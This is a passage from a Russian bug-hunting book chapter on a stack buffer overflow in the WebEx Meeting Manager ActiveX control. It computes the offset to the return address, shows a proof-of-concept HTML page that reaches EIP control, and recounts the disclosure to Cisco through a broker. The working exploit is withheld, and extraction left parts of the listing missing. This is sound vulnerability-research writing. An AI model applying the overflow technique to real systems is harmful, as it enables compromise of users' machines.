[..] Библиотечная функция sprintf() копирует пользовательские данные из аргумента cbData, строку «Authoring» (9 байт) и строку формата (39 байт) в буфер SubKey. Если в аргументе cbData передать максимально возможный объем пользовательских данных (256 байт), всего в буфер на стеке будет скопировано 304 байта данных. Буфер SubKey может хранить не более 260 байт, а функция sprintf() не проверяет длину получающейся строки. Таким образом, как показано на рис. 5.10, пользовательские данные могут быть записаны за границами буфера SubKey, что приведет к ошибке переполнения буфера на стеке (раздел A.1).

Стек до Стек после переполнения переполнения

–  –  –

Рис. 5.10. Диаграмма, демонстрирующая ошибку переполнение буфера на стеке, возникающую при передаче методу NewObject() слишком длинной строки 112 ГЛАВА 5. ЗАШЕЛ И ПОПАЛСЯ

5.2. Эксплуатация уязвимости После обнаружения уязвимости, эксплуатировать ее было совсем несложно. Чтобы добиться переполнения буфера на стеке и получить контроль над адресом возврата в текущем кадре стека, достаточно было передать методу NewObject() строку определенной длины.

Как показано на рис. 5.9, расстояние от начала буфера SubKey до адреса возврата на стеке составляет 272 байта (смещение адреса возврата (+00000004) минус смещение буфера SubKey (-0000010C): 0x4 - x10c = 0x110 (272)). Я также учел, что в буфер SubKey, непосредственно перед пользовательской строкой, копируются строка «Authoring»

и часть строки формата (рис. 5.10). Всего из расстояния между началом буфера SubKey и адресом возврата необходимо вычесть 40 байт («SOFTWARE\Webex\UCF\Components\Authoring\»), то есть 272-40 = 232. Итак, достаточно передать 232 байта любых данных, чтобы заполнить стек и достичь адреса возврата. Следующие 4 байта пользовательских данных должны затереть адрес возврата на стеке.

Поэтому я изменил количество символов в строке 6 в файле webex_

poc1.html и сохранил новый файл с именем webex_poc2.html (листинг 5.5):

Листинг 5.5.

HTML-файл, передающий методу NewObject() слишком длинную строку (webex_poc2.html ) 01 html 02 titleWebEx PoC 2/title 03 body 04 object classid="clsid:32E26FD9-F435-4A20-A561D4B987CFDC" id="obj"/object 05 09 /body 10 /html Далее я я изменил в реализации веб-сервера на языке Python имя обслуживаемого им HTML-файла.

Оригинальный wwwserv.py:

09 f = open(curdir + sep + "webex_poc1.html")

–  –  –

Я перезапустил веб-сервер, загрузил Internet Explorer в отладчик WinDbg и снова ввел адрес http://www.webex.com/.

Как показано на рис. 5.11, теперь я полностью контролирую EIP.

Эту уязвимость можно было бы легко эксплуатировать для выполнения произвольного кода, применив хорошо известный прием «heap spraying».

Рис. 5.11. Контроль над EIP в Internet Explorer захвачен Как уже говорилось, строгие законы не позволяют приводить исходные тексты рабочего эксплойта, но интересующиеся могут посмотреть короткий видеоролик на веб-сайте книги, демонстрирующий эксплойт в действии. [9] Ранее я упоминал, что эту уязвимость можно было бы отыскать намного быстрее, если бы вместо чтения ассемблерных листингов я попробовал передать элементу управления ActiveX недопустимую строку с помощью COMRaider. Но, согласитесь, фаззинг выглядит не так круто, как чтение ассемблерных листингов!

114 ГЛАВА 5. ЗАШЕЛ И ПОПАЛСЯ

5.3. Ликвидация уязвимости Вторник, 14 августа, 2008.

В главах 2, 3 и 4 я сообщал о существовании уязвимости непосредственно производителям уязвимого программного обеспечения и помогал им создавать исправления. Для этой уязвимости был выбран иной способ разглашения. На этот раз я не связывался с производителем непосредственно, а продал информацию брокеру уязвимостей (Verisign iDefense Lab Vulnerability Contributor Program [VCP]) и позволил ему самому координировать свои действия с компанией Cisco (раздел 2.3).

Я вышел на связь с iDefense 8 апреля 2008 года. Мое сообщение было принято и вся необходимая информация передана компании Cisco. Пока в компании Cisco работали над новой версией элемента управления ActiveX, в июне 2008 года уязвимость повторно была обнаружена другим исследователем, Элазаром Бродом (Elazar Broad).

Он также информировал компанию Cisco, но затем сообщил об уязвимости публично, следуя принципу полного разглашения. [10] 14 августа 2008 года компания Cisco выпустила исправленную версию WebEx Meeting Manager, а также сообщение об уязвимости. В целом получился большой бардак, но в конечном итоге Элазар и я сделали Сеть немного безопаснее.

5.4. Полученные уроки В программных продуктах, получивших большое распространение (в бизнесе), имеется множество очевидных уязвимостей, легко доступных для эксплуатации.

Прием межсайтового скриптинга позволяет преодолевать ограничения ActiveX-элементов на принадлежность домену. То же относится и к Microsoft SiteLock. [11].

Элементы управления ActiveX являются многообещающими целями с точки зрения охотника за ошибками.

Порой случаются повторные открытия уязвимостей (слишком часто).

ДОПОЛНЕНИЕ 115

–  –  –

06.04.2008 08.04.2008 20.06.2008 06.08.2008 14.08.2008 17.09.2008 Рис. 5.12. График устранения уязвимости в WebEx Meeting Manager от момента обнаружения до публикации отчета Примечания

1. Утилита COMRaider, созданная компанией iDefense, – отличный инструмент, позволяющий получить список интерфейсов COMобъекта и исследовать их. Загрузить утилиту можно по адресу:

http://labs.idefense.com/software/download/?downloadID=23.

2. Дополнительную информацию можно найти в статье «Safe Initialization and Scripting for ActiveX Controls», по адресу: http:// msdn.microsoft.com/en-us/library/aa751977(VS.85).aspx.



Pages:   || 2 |
Похожие работы:

«ТВОРЕНІЯ БЯАЖБННАГО В0Д0Р1ТА, ЕПИСКОПА КИРСКАГО. ЧАСТЬ ІІЯТАІІ. Ц" С. Въ ТИІІОГРАФІИ. ГОТЬБ. 1857. НА П Р О Р О К А НАУМА. СОДЕРЖАНІЕ. Ннневитяне, убоявшисъ Божіей угрозы, проповданной имъ богомудрымъ І о п о і о, прибьгли къ усердиому покаянію, и обрьли себь спасеніе ; вм*Всто угрожавшей имъ конечной гибели сподобплись...»

«Мёсzца тогHже въ G-й дeнь. Слyжба прпdбнагw и3гyмена сaввы сторожeвскагw. Вeчеръ, Блажeнъ мyжъ, №-й ґнтіфHнъ.На ГDи, воззвaхъ, стіхи6ры на ѕ7, глaсъ ѕ7. Поd: ВсE tл0жше: Мjръ возненави1дэвъ, * хrтA возлюби1лъ є3си2. * сіHна...»

«Алексей Валерьевич Исаев Максим Викторович Коломиец Последние контрудары Гитлера. Разгром Панцерваффе Издательский текст http://www.litres.ru/pages/biblio_book/?art=5009939 Последние контрудары Гитлера. Разгром Панцерваффе: Эксмо, Яуза, Стратегия КМ; М.; 2010 ISBN 978-5-699-40235-9 Аннотация В...»

«Ученые Записки УО ВГАВМ, т. 47, вып. 1, 2011 г. вакцинации) содержание мочевой кислоты и креатинина в плазме крови подопытных птиц не имело сущ ественных различий по сравнению с контрольными данными. По данным B.C. Камышникова [5], причинами...»

«1 производственного обучения. Данный вид контроля стимулирует у обучающихся стремление к систематической самостоятельной работе по изучению учебной дисциплины, МДК, овладению профессиональными и общими компетенциями. 2.2.2. Промежуточная аттестация обучающихся п...»

«Из Монтре, Веве Экскурсия по Швейцарской ривьере (Веве, музей "Мир Чарли Чаплина") К Швейцарской ривьере относится часть побережья Женевского озера, окруженная Альпами. Для этой территории характерны очень мягкий климат и роскошная субтропическая р...»

«2 Оглавление Глава 1 ПО для получения отчетов из криптораздела сайта ОАО АТС Глава 2 Термины Глава 3 Основные свойства (возможности) криптораздела Глава 4 Как скачать отчеты из криптораздела сайта ОАО АТС 4.1 Вход в криптораздел 4.2 Начальная страница криптораздела 4.3 Страница Поиск Фильтр файлов документов Список док...»

«Метрологія, стандартизація, сертифікація, методи ISSN 1813 6796 контролю та визначення складу речовин ВІСНИК КНУТД №2 (84), 2015 Серія "Технічні науки" Standardization, metrology, testing and quality certification УДК 658.562:014 ЗУБ...»

«могут быть поданы в редакцию исключительно через систему OJS посредством сайта журнала (http://chemistry.dnu.dp.ua) Чтобы направить статью в журнал, автору необходимо создать учетную запись пользователя выбрав...»

«Преданность 4 ATTACHMENT Евангелие и безбрачие часть 4. The Gospel and Singleness – Part 4 Дэвид Платт (Доктор богословия) Dr. David Platt June 8, 2008 Russian translation Если у вас есть Библии, надеюсь что это так, то приглашаю вас открыть вместе со мной 1-ое послание к Коринфянам 7-ю г...»

«Спецификация на волоконно-оптический кабель производства ООО Инкаб по ТУ 3587-001-88083123-2010 марки микро ДОТс-П Назначение: Оптический кабель типа ДОТс предназначен для подвеса на опорах воздушных линий связи, контактной сети и автоблокировки железных дорог, линий элек...»

«УПРАВЛЕНИЕ ОБРАЗОВАНИЯ АДМИНИСТРАЦИИ Г, ДОЛГОПРУДНОГО Автономное общеобразовательное учреждение муниципального образования г. Долгопрудного средняя общеобразовательная школа №1 (АОУ школа №1) СОГЛАСОВАНО Председатель Совета школы Давыдова Е.Н. Протокол №1 от 22.08.2011 Публичный доклад о результатах деятель...»

«ДОГОВОР на оказание услуг по обращению с твердыми коммунальными отходами г. Калуга "_" _ 20 г. Общество с ограниченной ответственностью "Калужский завод по производству альтернативного топлива" (ООО "КЗПАТ"), именуемое в дальнейшем оператором по обращению с твердыми коммунальными отходами, в лице генерального д...»

«УДК 316.354.4(571.54/55) Е. А. Нехаева ЗАБАЙКАЛЬСКАЯ ШКОЛА ПОДГОТОВКИ ВОЛОНТЕРОВ: ИЗ ОПЫТА РЕАЛИЗАЦИИ ПРОЕКТА Уже не первый год огромную популярность имеют добровольческие и волонтерские движения. С каждым днем отрядов добровольцев становится все больше и...»

«САНКТ-ПЕТЕРБУРГСКИЙ ГОСУДАРСТВЕННЫЙ УНИВЕРСИТЕТ Высшая школа журналистики и массовых коммуникаций Факультет журналистики ЛЕХНИЦКАЯ Дария Андреевна Применение методов прогнозирования в аналитических и публицистических материалах общественно-политических печатных СМИ ВЫПУСКНАЯ КВАЛИФИКАЦ...»

«Областной список зарегистрирован постановлением Избирательной комиссии Иркутской области от 26 июля 2013 года № 21/335 ОБЛАСТНОЙ СПИСОК кандидатов в депутаты Законодательного Собрания Иркутской области второго созыва, выдвинутый Иркутским региональным отделением Политической партии ЛДПР ОБЩЕОБЛАСТНАЯ ЧАСТЬ 1. ЖИРИНОВСКИЙ ВЛАДИМ...»

«Хёнингский цикл Генри Олди Здесь и сейчас "Автор" Олди Г. Л. Здесь и сейчас / Г. Л. Олди — "Автор", 2003 — (Хёнингский цикл) ISBN 978-5-457-10836-3 "Дорогу лучше рассматривать с высоты птичьего полета. Это очень красиво: дорога с высоты. Ни пыли, ни ухабов, – шел ко...»

«ПРОЕКТ МИНИСТЕРСТВО ОБРАЗОВАНИЯ И НАУКИ РОССИЙСКОЙ ФЕДЕРАЦИИ (МИНОБРНАУКИ РОССИИ) ПРИКАЗ " _ "_ 2012 г. № Москва Об утверждении Порядка выдачи документов государственного образца о среднем профессиональном образовании, заполнения, хранения и учета соответствующих бл...»

«Правила проведения акции "Весенний макинтош"1. ОБЩИЕ ПОЛОЖЕНИЯ 1.1. Термины и понятия, используемые в настоящих Правилах: 1.1.1. Организатор – ООО "101 и К", ОГРН 1027739885557, ИНН 7705012512, КПП 770501001, место...»

«Приложение Утвержден приказом Министерства образования Республики Башкортостан от 13 марта 2014 г. N 406 ПОРЯДОК ПРОВЕДЕНИЯ ГОСУДАРСТВЕННОЙ ИТОГОВОЙ АТТЕСТАЦИИ ПО РОДНОМУ ЯЗЫКУ И РОДНОЙ ЛИТЕРАТУРЕ ПО ОБРАЗОВАТЕЛЬНЫМ ПРОГРАММАМ ОСНОВНОГО ОБЩЕГО И СРЕД...»

«ИНСТРУКЦИЯ ПО ЭКСПЛУАТАЦИИ ПРИВОДА ДЛЯ РАСПАШНЫХ ВОРОТ FAAC 409 Внимательно прочтите настоящую инструкцию и сохраните её для дальнейшего использования. Основные правила безопасности Правильно установленный и используемый привод гарантирует высокую степень безопасн...»








 
2017 www.kn.lib-i.ru - «Бесплатная электронная библиотека - различные ресурсы»

Материалы этого сайта размещены для ознакомления, все права принадлежат их авторам.
Если Вы не согласны с тем, что Ваш материал размещён на этом сайте, пожалуйста, напишите нам, мы в течении 1-2 рабочих дней удалим его.